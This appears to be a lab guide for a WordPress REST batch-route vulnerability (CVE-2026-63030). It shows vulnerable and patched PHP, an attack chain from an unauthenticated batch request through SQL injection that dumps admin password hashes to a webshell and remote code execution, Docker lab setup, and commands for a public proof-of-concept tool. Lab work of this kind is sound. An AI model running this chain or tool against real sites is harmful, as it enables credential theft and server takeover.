// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
    $responses[] = envelope();
    continue; // $matches[] NOT pushed ← BUG
}

// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
    $matches[]   = null; // ← FIX: keeps arrays in sync
    $responses[] = envelope();
    continue;
}

// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';

// PATCHED (7.0.2)
$safe   = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";

Unauthenticated Attacker
        │
        ▼
POST /?rest_route=/batch/v1          ← Outer batch
  sub-req 0: "///"   → WP_Error → index shift (+1)
  sub-req 1: POST /wp/v2/posts       ← dispatched under BATCH handler
  sub-req 2: POST /batch/v1          ← dummy
        │
        │  [Confusion #1 active]
        ▼
Inner batch (body of sub-req 1)      ← schema never validated
  inner 0: "///"    → index shift (+1)
  inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
           dispatched under posts get_items()
        │
        │  [Confusion #2 active]
        ▼
WP_Query: author__not_in = raw string
        │
        ▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
        │
        ▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
        │
        ▼
Crack hash  OR  crack-free oEmbed technique
        │
        ▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE

git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab

cve-2026-63030-lab/
├── docker-compose.yml     ← defines WordPress + MySQL containers
├── Dockerfile             ← custom image with Apache fix + wp-cli
├── init.sh                ← configures permalink after install
└── fix-htaccess.ps1       ← Windows helper (run if Apache returns 404)

docker compose up -d --build

docker compose ps

NAME              STATUS
wp2shell-lab      running
wp2shell-db       running

docker exec wp2shell-lab bash -c "
  wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
  wp rewrite flush --allow-root --path=/var/www/html
"

docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"

Success: Rewrite structure set.
Success: Rewrite rules flushed.

.\fix-htaccess.ps1

curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5

# Stop and remove everything including database
docker compose down -v

git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt

# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090

# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090